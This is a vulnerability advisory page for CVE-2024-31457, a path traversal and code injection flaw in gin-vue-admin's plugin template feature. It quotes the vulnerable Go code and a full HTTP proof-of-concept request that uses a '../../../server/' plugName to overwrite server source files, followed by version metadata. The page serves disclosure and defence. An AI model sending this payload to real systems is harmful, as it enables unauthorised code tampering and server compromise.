Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1ndjN3LW01N3AtM3djNM4AA6wY

gin-vue-admin background arbitrary code coverage vulnerability

Impact

"gin-vue-admin<=v2.6.1 has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter."

Affected code: https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239. Let's take a look at the method 'AutoPlug' within the 'AutoCodeApi' struct.

func (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {
	var a system.AutoPlugReq
	err := c.ShouldBindJSON(&a)
	if err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	a.Snake = strings.ToLower(a.PlugName)
	a.NeedModel = a.HasRequest || a.HasResponse
	err = autoCodeService.CreatePlug(a)
	if err != nil {
		global.GVA_LOG.Error("预览失败!", zap.Error(err))
		response.FailWithMessage("预览失败", c)
		return
	}
	response.Ok(c)
}

The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct.

type AutoPlugReq struct {
	PlugName    string         `json:"plugName"` // 必然大写开头
	Snake       string         `json:"snake"`    // 后端自动转为 snake
	RouterGroup string         `json:"routerGroup"`
	HasGlobal   bool           `json:"hasGlobal"`
	HasRequest  bool           `json:"hasRequest"`
	HasResponse bool           `json:"hasResponse"`
	NeedModel   bool           `json:"needModel"`
	Global      []AutoPlugInfo `json:"global,omitempty"`
	Request     []AutoPlugInfo `json:"request,omitempty"`
	Response    []AutoPlugInfo `json:"response,omitempty"`
}

POC:

POST /api/autoCode/createPlug HTTP/1.1
Host: 192.168.31.18:8080
Content-Length: 326
Accept: application/json, text/plain, */*
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
x-user-id: 1
Content-Type: application/json
Origin: http://192.168.31.18:8080
Referer: http://192.168.31.18:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU
Connection: close

{"plugName":"../../../server/","routerGroup":"111"	,"hasGlobal":true,"hasRequest":false,"hasResponse":false,"global":[{"key":"1","type":"1","desc":"1"},{"key":"type","value":"faspohgoahgioahgioahgioashogia","desc":"1","type":"string"}],"request":[{"key":"","type":"","desc":""}],"response":[{"key":"","type":"","desc":""}]}

By performing directory traversal and creating directories such as api, config, global, model, router, and service within the gin-vue-admin/server directory, an attacker can tamper with the source code and the main.go file. They can potentially overwrite or tamper with the Go source code files located in the directory C:\代码审计\server to further compromise the system.
image
image
image

Patches

Please wait for the latest patch

Workarounds

You can use the following filtering methods to rectify the directory traversal problem
if strings.Index(plugPath, "..") > -1 {
        fmt.Println("no bypass",plugPath)
    }

References

https://github.com/flipped-aurora/gin-vue-admin

Permalink: https://github.com/advisories/GHSA-gv3w-m57p-3wc4
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndjN3LW01N3AtM3djNM4AA6wY
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 8 months ago
Updated: 8 months ago


CVSS Score: 7.7
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H

Identifiers: GHSA-gv3w-m57p-3wc4, CVE-2024-31457
References: Repository: https://github.com/flipped-aurora/gin-vue-admin
Blast Radius: 10.3

Affected Packages

go:github.com/flipped-aurora/gin-vue-admin/server
Dependent packages: 9
Dependent repositories: 22
Downloads:
Affected Version Ranges: < 0.0.0-20240409100909-b1b7427c6ea6
Fixed in: 0.0.0-20240409100909-b1b7427c6ea6
All affected versions: 0.0.0-20210823151324-f5410430faf0, 0.0.0-20220204111432-887ddae8564a, 0.0.0-20220426095943-799d70fee8f2, 0.0.0-20220426095943-af3800ea28d9, 0.0.0-20221116031703-cce18db04dbb, 0.0.0-20221117095119-0dbb55e58230, 0.0.0-20221118064053-916714cc76dc, 0.0.0-20221122032631-7aac293bdf5d, 0.0.0-20221125103425-dd534b7b73af, 0.0.0-20221130085200-26db336bf662, 0.0.0-20221208101531-f0637d24f66d, 0.0.0-20221208111331-0f61da55d2d9, 0.0.0-20221212064247-d81f58b5d6a4, 0.0.0-20221214072305-c4a716d0cc2c, 0.0.0-20221214073128-64a8fda5bd29, 0.0.0-20221214073934-8170daf48dc6, 0.0.0-20230114022707-a15c09ce070a, 0.0.0-20230114025215-0b1bb10ac5ef, 0.0.0-20230128065308-bc1cc33591ba, 0.0.0-20230131075807-67659889c248, 0.0.0-20230318062134-1aea41585520, 0.0.0-20230325120421-876b8aa0925f, 0.0.0-20230325120440-496bce90126b, 0.0.0-20230327030919-26e1c0d2034f, 0.0.0-20230329164902-69aa64f80007, 0.0.0-20230401115915-9621e86bf6a7, 0.0.0-20230401134357-de48da06a6d8, 0.0.0-20230408073722-03baabd4ea16, 0.0.0-20230408080722-8bd5a0f78cfc, 0.0.0-20230424092210-1b42dfcc1759, 0.0.0-20230424105124-3c46e28f7197, 0.0.0-20230425083238-bd6e18217c0e, 0.0.0-20230518122513-2005408b07b1, 0.0.0-20230522080731-70ace27be89a, 0.0.0-20230522155019-7032064f7335, 0.0.0-20230522160853-b1510b55e807, 0.0.0-20230531052044-2ecc1d4b8e5f, 0.0.0-20230603054617-d3671eb3a657, 0.0.0-20230603070925-c21fdd1dcd45, 0.0.0-20230607062829-69daa8c81c6f, 0.0.0-20230608151746-fc60527128fd, 0.0.0-20230609095116-45e48357c4de, 0.0.0-20230609114750-945ac4077cfd, 0.0.0-20230609141018-eb86bc532521, 0.0.0-20230609141125-ef4c8a77d471, 0.0.0-20230610065100-cce546e9b2f3, 0.0.0-20230610093125-cff5694996e3, 0.0.0-20230610135007-47f5784ec066, 0.0.0-20230610142003-f6e78d7f6ae9, 0.0.0-20230610143118-ec9a493064c9, 0.0.0-20230611054944-00849dfe472b, 0.0.0-20230611112144-6c1bb8882161, 0.0.0-20230623054957-48e897ee5447, 0.0.0-20230624100447-090baf234bc9, 0.0.0-20230626081034-40211e093cb4, 0.0.0-20230630111820-3cb8d89120cc, 0.0.0-20230702085451-cd060044e022, 0.0.0-20230711140558-e558faaac147, 0.0.0-20230711142447-66d119bef3a6, 0.0.0-20230714132312-b94bc5f0920f, 0.0.0-20230717160026-54eac3494496, 0.0.0-20230718141912-8089a270bdf3, 0.0.0-20230719070556-fec7534ef71d, 0.0.0-20230721081549-77989e33f9e9, 0.0.0-20230801110741-7b1fd2bd7548, 0.0.0-20230802025158-c0419d73f992, 0.0.0-20230802112059-0e780805158c, 0.0.0-20230804090321-dcb133a68c8f, 0.0.0-20230804093041-6b9df87f8099, 0.0.0-20230806074802-16c79bbc641f, 0.0.0-20230808050000-5d4694d5f5ee, 0.0.0-20230808080541-efcee0791932, 0.0.0-20230808102523-7701ba0c0d61, 0.0.0-20230809080946-c743b724a3ef, 0.0.0-20230809081734-1535ac99ec1f, 0.0.0-20230809091905-73d6cb7ce2b5, 0.0.0-20230810085948-027543938fd3, 0.0.0-20230810163515-687ac6c5534f, 0.0.0-20230810171251-d8fa0db0cdd4, 0.0.0-20230817092314-2c84ec37f199, 0.0.0-20230819032944-3d0a22b8881c, 0.0.0-20230819144929-d7e55ead077f, 0.0.0-20230821101551-fbc99d4c23e8, 0.0.0-20230823101203-d775ae627a3d, 0.0.0-20230829081756-8543dc670891, 0.0.0-20230829120822-ab13b391536e, 0.0.0-20230830063352-63d097bdd90c, 0.0.0-20230831031819-ace557fcb52b, 0.0.0-20230831042718-89e404e81c0e, 0.0.0-20230831101706-e95d8ee65016, 0.0.0-20230905030036-7a52b708740b, 0.0.0-20230906034030-4d6ac279573d, 0.0.0-20230908083758-54bef8156e26, 0.0.0-20230908085441-6114fe1ce6d1, 0.0.0-20230909030304-33261590b1dc, 0.0.0-20230909032555-31ef61684688, 0.0.0-20230909051717-c4b5d218efc5, 0.0.0-20230909162746-f5fcc8d57c86, 0.0.0-20230910150314-b3083c965c8a, 0.0.0-20230913034225-ef888d0fd72e, 0.0.0-20230913133336-536433ea6845, 0.0.0-20230914100626-a284ef476f75, 0.0.0-20230914104959-3b7dd31641ab, 0.0.0-20230915034416-b3762bc547dd, 0.0.0-20230915035010-558059c29ef3, 0.0.0-20230919080835-3faf085a3670, 0.0.0-20230924063554-2cb066982bf5, 0.0.0-20230924065057-1e8b344707db, 0.0.0-20230924074958-8a3a44819b6d, 0.0.0-20231010080423-898aea595852, 0.0.0-20231010084608-00e50a4d4423, 0.0.0-20231010105746-ada00c2f9cc5, 0.0.0-20231010105746-b3dbb8d4be1f, 0.0.0-20231014055930-232aaad09094, 0.0.0-20231022125947-e8fb3180dbcf, 0.0.0-20231024104250-5bd0f24a84c2, 0.0.0-20231025091409-8eba3ba4f734, 0.0.0-20231026142604-913db35b2354, 0.0.0-20231026144137-9ca9fcdb0940, 0.0.0-20231031095238-a5f313978439, 0.0.0-20231104134801-3e5a26b95a4d, 0.0.0-20231106032517-4b7f5528850b, 0.0.0-20231107064822-72936fc0d127, 0.0.0-20231113025330-cc0903f74deb, 0.0.0-20231113030351-f6dacdb0468c, 0.0.0-20231114023825-b38eb6709e76, 0.0.0-20231115083151-2523467c9793, 0.0.0-20231118130144-aa6ca95f13ef, 0.0.0-20231119061730-4433b6623ed6, 0.0.0-20231120153815-bd2a3ddfbac2, 0.0.0-20231121145439-6f9a83709d11, 0.0.0-20231201064254-58b063770d71, 0.0.0-20231204140519-05a1ce51f07d, 0.0.0-20231204141201-d42958734fc5, 0.0.0-20231205150423-7872e0ce38b0, 0.0.0-20231206150643-8b9a75ba5a77, 0.0.0-20231210153039-0f2018d91381, 0.0.0-20231210154730-2307ac88cbfe, 0.0.0-20231211082840-3aab5e9eb7d4, 0.0.0-20231212025023-e0a8e9370425, 0.0.0-20231213070135-98b83c00783b, 0.0.0-20231217094000-722fe556e3fd, 0.0.0-20231219092643-90f19679e79a, 0.0.0-20231222020854-54eb84e69098, 0.0.0-20231222022751-22f68fedcb17, 0.0.0-20231225015345-b2fa7563d340, 0.0.0-20231225022650-c071564de4cb, 0.0.0-20231225140427-952062d5be3e, 0.0.0-20231226015326-474a5c8e4217, 0.0.0-20231228015532-5ea8947fc9f2, 0.0.0-20231230122949-332176a6197d, 0.0.0-20231230123205-36eba36bf2ca, 0.0.0-20231230124924-760ef775939e, 0.0.0-20231231030900-a923b6beca1b, 0.0.0-20231231122247-df9d2bc47238, 0.0.0-20240102092334-5f7caa0535f7, 0.0.0-20240103032108-0285de50e570, 0.0.0-20240103064928-e1d214b91a39, 0.0.0-20240104090652-8aefb5db8ee7, 0.0.0-20240104141554-08617f2fd41b, 0.0.0-20240104142513-dc1b84130ca0, 0.0.0-20240105121116-6791b1dbdcfe, 0.0.0-20240105132857-ad41b7b43401, 0.0.0-20240105150907-1a04bb535df9, 0.0.0-20240105151304-26fa047fe421, 0.0.0-20240105152759-9daf1036697b, 0.0.0-20240106081650-f8794bef5f58, 0.0.0-20240106092639-6f531793f015, 0.0.0-20240108084519-d9f6bc058a4f, 0.0.0-20240108115521-686ada1e4928, 0.0.0-20240108135025-84b44eef9176, 0.0.0-20240111075720-3f4715167873, 0.0.0-20240113040949-773fd1f2215e, 0.0.0-20240113043807-95eb17b6d1e1, 0.0.0-20240115051042-d41394c70a1e, 0.0.0-20240116140759-a2269bcdd5e7, 0.0.0-20240117080532-d849df41be8e, 0.0.0-20240118051652-4890de5052f2, 0.0.0-20240120043327-07cde689b173, 0.0.0-20240122093703-379b63275a3e, 0.0.0-20240124080136-59ba4752c02a
All unaffected versions: